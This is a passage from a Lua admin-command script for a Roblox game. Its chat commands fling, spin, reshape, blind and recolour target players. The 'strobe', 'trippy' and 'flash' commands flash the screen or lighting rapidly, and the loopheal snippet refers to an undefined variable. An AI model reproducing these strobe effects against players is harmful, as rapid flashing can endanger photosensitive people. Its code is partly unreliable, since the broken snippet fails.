  1693. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1694. speed = 0
  1695. bg:Destroy()
  1696. bv:Destroy()
  1697. plr.Character.Humanoid.PlatformStand = false
  1698. end
  1699. mouse.KeyDown:connect(function(key)
  1700. if key:lower() == "e" then
  1701. if flying then flying = false
  1702. else
  1703. flying = true
  1704. Fly()
  1705. end
  1706. elseif key:lower() == "w" then
  1707. ctrl.f = 1
  1708. elseif key:lower() == "s" then
  1709. ctrl.b = -1
  1710. elseif key:lower() == "a" then
  1711. ctrl.l = -1
  1712. elseif key:lower() == "d" then
  1713. ctrl.r = 1
  1714. end
  1715. end)
  1716. mouse.KeyUp:connect(function(key)
  1717. if key:lower() == "w" then
  1718. ctrl.f = 0
  1719. elseif key:lower() == "s" then
  1720. ctrl.b = 0
  1721. elseif key:lower() == "a" then
  1722. ctrl.l = 0
  1723. elseif key:lower() == "d" then
  1724. ctrl.r = 0
  1725. end
  1726. end)
  1727. Fly()]]
  1728. cl.Parent = v.PlayerGui cl.Disabled = false
  1729. end
  1730. end))
  1731. end
  1732. end
  1733.  
  1734. if msg:lower():sub(1,6) == "unfly " then
  1735. local plrz = GetPlr(plr, msg:lower():sub(7))
  1736. for i, v in pairs(plrz) do
  1737. coroutine.resume(coroutine.create(function()
  1738. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1739. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1740. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1741. wait(.1) v.Character.Humanoid.PlatformStand = false
  1742. end
  1743. end))
  1744. end
  1745. end
  1746.  
  1747. if msg:lower() == "disco" then
  1748. for i, v in pairs(lobjs) do v:Destroy() end
  1749. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1750. game.Lighting.Ambient = color
  1751. game.Lighting.FogColor = color
  1752. until nil]]
  1753. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1754. end
  1755.  
  1756. if msg:lower() == "flash" then
  1757. for i, v in pairs(lobjs) do v:Destroy() end
  1758. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1759. game.Lighting.Ambient = Color3.new(1,1,1)
  1760. game.Lighting.FogColor = Color3.new(1,1,1)
  1761. game.Lighting.Brightness = 1
  1762. game.Lighting.TimeOfDay = 14
  1763. wait(.1)
  1764. game.Lighting.Ambient = Color3.new(0,0,0)
  1765. game.Lighting.FogColor = Color3.new(0,0,0)
  1766. game.Lighting.Brightness = 0
  1767. game.Lighting.TimeOfDay = 0
  1768. until nil]]
  1769. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1770. end
  1771.  
  1772. if msg:lower():sub(1,5) == "spin " then
  1773. local plrz = GetPlr(plr, msg:lower():sub(6))
  1774. for i, v in pairs(plrz) do
  1775. coroutine.resume(coroutine.create(function()
  1776. if v and v.Character and v.Character:findFirstChild("Torso") then
  1777. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1778. local torso = v.Character:findFirstChild("Torso")
  1779. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1780. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1781. until not bg or bg.Parent ~= torso
  1782. end
  1783. end))
  1784. end
  1785. end
  1786.  
  1787. if msg:lower():sub(1,7) == "unspin " then
  1788. local plrz = GetPlr(plr, msg:lower():sub(8))
  1789. for i, v in pairs(plrz) do
  1790. coroutine.resume(coroutine.create(function()
  1791. if v and v.Character and v.Character:findFirstChild("Torso") then
  1792. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1793. end
  1794. end))
  1795. end
  1796. end
  1797.  
  1798. if msg:lower():sub(1,4) == "dog " then
  1799. local plrz = GetPlr(plr, msg:lower():sub(5))
  1800. for i, v in pairs(plrz) do
  1801. coroutine.resume(coroutine.create(function()
  1802. if v and v.Character and v.Character:findFirstChild("Torso") then
  1803. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1804. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1805. v.Character.Torso.Transparency = 1
  1806. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1807. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1808. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1809. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1810. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1811. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1812. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1813. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1814. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1815. end
  1816. end))
  1817. end
  1818. end
  1819.  
  1820. if msg:lower():sub(1,6) == "undog " then
  1821. local plrz = GetPlr(plr, msg:lower():sub(7))
  1822. for i, v in pairs(plrz) do
  1823. coroutine.resume(coroutine.create(function()
  1824. if v and v.Character and v.Character:findFirstChild("Torso") then
  1825. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1826. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1827. v.Character.Torso.Transparency = 0
  1828. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1829. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1830. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1831. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1832. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1833. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1834. end
  1835. end))
  1836. end
  1837. end
  1838.  
  1839. if msg:lower():sub(1,8) == "creeper " then
  1840. local plrz = GetPlr(plr, msg:lower():sub(9))
  1841. for i, v in pairs(plrz) do
  1842. coroutine.resume(coroutine.create(function()
  1843. if v and v.Character and v.Character:findFirstChild("Torso") then
  1844. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1845. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1846. v.Character.Torso.Transparency = 0
  1847. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1848. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1849. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1850. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1851. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1852. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1853. end
  1854. end))
  1855. end
  1856. end
  1857.  
  1858. if msg:lower():sub(1,10) == "uncreeper " then
  1859. local plrz = GetPlr(plr, msg:lower():sub(11))
  1860. for i, v in pairs(plrz) do
  1861. coroutine.resume(coroutine.create(function()
  1862. if v and v.Character and v.Character:findFirstChild("Torso") then
  1863. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1864. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1865. v.Character.Torso.Transparency = 0
  1866. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1867. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1868. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1869. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1870. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1871. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1872. end
  1873. end))
  1874. end
  1875. end
  1876.  
  1877. if msg:lower():sub(1,8) == "bighead " then
  1878. local plrz = GetPlr(plr, msg:lower():sub(9))
  1879. for i, v in pairs(plrz) do
  1880. coroutine.resume(coroutine.create(function()
  1881. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1882. end))
  1883. end
  1884. end
  1885.  
  1886. if msg:lower():sub(1,9) == "minihead " then
  1887. local plrz = GetPlr(plr, msg:lower():sub(10))
  1888. for i, v in pairs(plrz) do
  1889. coroutine.resume(coroutine.create(function()
  1890. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1891. end))
  1892. end
  1893. end
  1894.  
  1895. if msg:lower():sub(1,6) == "fling " then
  1896. local plrz = GetPlr(plr, msg:lower():sub(7))
  1897. for i, v in pairs(plrz) do
  1898. coroutine.resume(coroutine.create(function()
  1899. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1900. local xran local zran
  1901. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1902. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1903. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1904. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1905. end
  1906. end))
  1907. end
  1908. end
  1909.  
  1910. if msg:lower():sub(1,8) == "seizure " then
  1911. local plrz = GetPlr(plr, msg:lower():sub(9))
  1912. for i, v in pairs(plrz) do
  1913. coroutine.resume(coroutine.create(function()
  1914. if v and v.Character then
  1915. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1916. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1917. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1918. end
  1919. end))
  1920. end
  1921. end
  1922.  
  1923. if msg:lower():sub(1,10) == "unseizure " then
  1924. local plrz = GetPlr(plr, msg:lower():sub(11))
  1925. for i, v in pairs(plrz) do
  1926. coroutine.resume(coroutine.create(function()
  1927. if v and v.Character then
  1928. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1929. wait(.1) v.Character.Humanoid.PlatformStand = false
  1930. end
  1931. end))
  1932. end
  1933. end
  1934.  
  1935. if msg:lower():sub(1,12) == "removelimbs " then
  1936. local plrz = GetPlr(plr, msg:lower():sub(13))
  1937. for i, v in pairs(plrz) do
  1938. coroutine.resume(coroutine.create(function()
  1939. if v and v.Character then
  1940. for a, obj in pairs(v.Character:children()) do
  1941. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1942. end
  1943. end
  1944. end))
  1945. end
  1946. end
  1947.  
  1948. if msg:lower():sub(1,5) == "name " then
  1949. local chk1 = msg:lower():sub(6):find(" ") + 5
  1950. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1951. for i, v in pairs(plrz) do
  1952. coroutine.resume(coroutine.create(function()
  1953. if v and v.Character and v.Character:findFirstChild("Head") then
  1954. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1955. local char = v.Character
  1956. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1957. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1958. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1959. char.Head.Transparency = 1
  1960. end
  1961. end))
  1962. end
  1963. end
  1964.  
  1965. if msg:lower():sub(1,7) == "unname " then
  1966. local plrz = GetPlr(plr, msg:lower():sub(8))
  1967. for i, v in pairs(plrz) do
  1968. coroutine.resume(coroutine.create(function()
  1969. if v and v.Character and v.Character:findFirstChild("Head") then
  1970. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1971. end
  1972. end))
  1973. end
  1974. end
  1975.  
  1976. if msg:lower():sub(1,5) == "char " then
  1977. local chk1 = msg:lower():sub(6):find(" ") + 5
  1978. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1979. for i, v in pairs(plrz) do
  1980. coroutine.resume(coroutine.create(function()
  1981. if v and v.Character then
  1982. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1983. v:LoadCharacter()
  1984. end
  1985. end))
  1986. end
  1987. end
  1988.  
  1989. if msg:lower():sub(1,7) == "unchar " then
  1990. local plrz = GetPlr(plr, msg:lower():sub(8))
  1991. for i, v in pairs(plrz) do
  1992. coroutine.resume(coroutine.create(function()
  1993. if v and v.Character then
  1994. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1995. v:LoadCharacter()
  1996. end
  1997. end))
  1998. end
  1999. end
  2000.  
  2001. if msg:lower():sub(1,7) == "infect " then
  2002. local plrz = GetPlr(plr, msg:lower():sub(8))
  2003. for i, v in pairs(plrz) do
  2004. coroutine.resume(coroutine.create(function()
  2005. if v and v.Character then
  2006. Infect(v.Character)
  2007. end
  2008. end))
  2009. end
  2010. end
  2011.  
  2012. if msg:lower():sub(1,11) == "rainbowify " then
  2013. local plrz = GetPlr(plr, msg:lower():sub(12))
  2014. for i, v in pairs(plrz) do
  2015. coroutine.resume(coroutine.create(function()
  2016. if v and v.Character and v.Character:findFirstChild("Torso") then
  2017. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2018. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2019. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2020. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2021. cl.Parent = v.Character cl.Disabled = false
  2022. end
  2023. end))
  2024. end
  2025. end
  2026.  
  2027. if msg:lower():sub(1,9) == "flashify " then
  2028. local plrz = GetPlr(plr, msg:lower():sub(10))
  2029. for i, v in pairs(plrz) do
  2030. coroutine.resume(coroutine.create(function()
  2031. if v and v.Character and v.Character:findFirstChild("Torso") then
  2032. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2033. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2034. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2035. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2036. cl.Parent = v.Character cl.Disabled = false
  2037. end
  2038. end))
  2039. end
  2040. end
  2041.  
  2042. if msg:lower():sub(1,8) == "noobify " then
  2043. local plrz = GetPlr(plr, msg:lower():sub(9))
  2044. for i, v in pairs(plrz) do
  2045. coroutine.resume(coroutine.create(function()
  2046. if v and v.Character then
  2047. Noobify(v.Character)
  2048. end
  2049. end))
  2050. end
  2051. end
  2052.  
  2053. if msg:lower():sub(1,9) == "ghostify " then
  2054. local plrz = GetPlr(plr, msg:lower():sub(10))
  2055. for i, v in pairs(plrz) do
  2056. coroutine.resume(coroutine.create(function()
  2057. if v and v.Character and v.Character:findFirstChild("Torso") then
  2058. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2059. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2060. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2061. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2062. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2063. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2064. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2065. end end
  2066. end
  2067. end))
  2068. end
  2069. end
  2070.  
  2071. if msg:lower():sub(1,8) == "goldify " then
  2072. local plrz = GetPlr(plr, msg:lower():sub(9))
  2073. for i, v in pairs(plrz) do
  2074. coroutine.resume(coroutine.create(function()
  2075. if v and v.Character and v.Character:findFirstChild("Torso") then
  2076. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2077. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2078. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2079. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2080. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2081. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2082. end end
  2083. end
  2084. end))
  2085. end
  2086. end
  2087.  
  2088. if msg:lower():sub(1,6) == "shiny " then
  2089. local plrz = GetPlr(plr, msg:lower():sub(7))
  2090. for i, v in pairs(plrz) do
  2091. coroutine.resume(coroutine.create(function()
  2092. if v and v.Character and v.Character:findFirstChild("Torso") then
  2093. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2094. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2095. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2096. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2097. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2098. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2099. end end
  2100. end
  2101. end))
  2102. end
  2103. end
  2104.  
  2105. if msg:lower():sub(1,7) == "normal " then
  2106. local plrz = GetPlr(plr, msg:lower():sub(8))
  2107. for i, v in pairs(plrz) do
  2108. coroutine.resume(coroutine.create(function()
  2109. if v and v.Character and v.Character:findFirstChild("Torso") then
  2110. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2111. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2112. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2113. v.Character.Torso.Transparency = 0
  2114. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2115. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2116. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2117. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2118. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2119. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2120. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2121. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2122. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2123. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2124. end end
  2125. end
  2126. end))
  2127. end
  2128. end
  2129.  
  2130. if msg:lower():sub(1,7) == "trippy " then
  2131. local plrz = GetPlr(plr, msg:lower():sub(8))
  2132. for i, v in pairs(plrz) do
  2133. coroutine.resume(coroutine.create(function()
  2134. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2135. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2136. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2137. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2138. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2139. end
  2140. end))
  2141. end
  2142. end
  2143.  
  2144. if msg:lower():sub(1,9) == "untrippy " then
  2145. local plrz = GetPlr(plr, msg:lower():sub(10))
  2146. for i, v in pairs(plrz) do
  2147. coroutine.resume(coroutine.create(function()
  2148. if v and v:findFirstChild("PlayerGui") then
  2149. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2150. end
  2151. end))
  2152. end
  2153. end
  2154.  
  2155. if msg:lower():sub(1,7) == "strobe " then
  2156. local plrz = GetPlr(plr, msg:lower():sub(8))
  2157. for i, v in pairs(plrz) do
  2158. coroutine.resume(coroutine.create(function()
  2159. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2160. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2161. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2162. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2163. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2164. end
  2165. end))
  2166. end
  2167. end
  2168.  
  2169. if msg:lower():sub(1,9) == "unstrobe " then
  2170. local plrz = GetPlr(plr, msg:lower():sub(10))
  2171. for i, v in pairs(plrz) do
  2172. coroutine.resume(coroutine.create(function()
  2173. if v and v:findFirstChild("PlayerGui") then
  2174. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2175. end
  2176. end))
  2177. end
  2178. end
  2179.  
  2180. if msg:lower():sub(1,6) == "blind " then
  2181. local plrz = GetPlr(plr, msg:lower():sub(7))
  2182. for i, v in pairs(plrz) do
  2183. coroutine.resume(coroutine.create(function()
  2184. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2185. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2186. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2187. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2188. end
  2189. end))
  2190. end
  2191. end
  2192.  
  2193. if msg:lower():sub(1,8) == "unblind " then
  2194. local plrz = GetPlr(plr, msg:lower():sub(9))
  2195. for i, v in pairs(plrz) do
  2196. coroutine.resume(coroutine.create(function()
  2197. if v and v:findFirstChild("PlayerGui") then
  2198. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2199. end
  2200. end))
  2201. end
  2202. end
  2203.  
  2204. if msg:lower():sub(1,7) == "guifix " then
  2205. local plrz = GetPlr(plr, msg:lower():sub(8))
  2206. for i, v in pairs(plrz) do
  2207. coroutine.resume(coroutine.create(function()
  2208. if v and v:findFirstChild("PlayerGui") then
  2209. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2210. end
  2211. end))
  2212. end
  2213. end
  2214.  
  2215. if msg:lower():sub(1,9) == "loopheal " then
  2216. local plrz = GetPlr(plr, msg:lower():sub(10))
  2217. for i, v in pairs(plrz) do
  2218. if v then
  2219. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2220. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2221. repeat wait()
  2222. coroutine.resume(coroutine.create(function()
  2223. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2224. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2225. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2226. end
  2227. end))
  2228. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2229. end
  2230. end
  2231. end
  2232.  
  2233. if msg:lower():sub(1,11) == "unloopheal " then
  2234. local plrz = GetPlr(plr, msg:lower():sub(12))
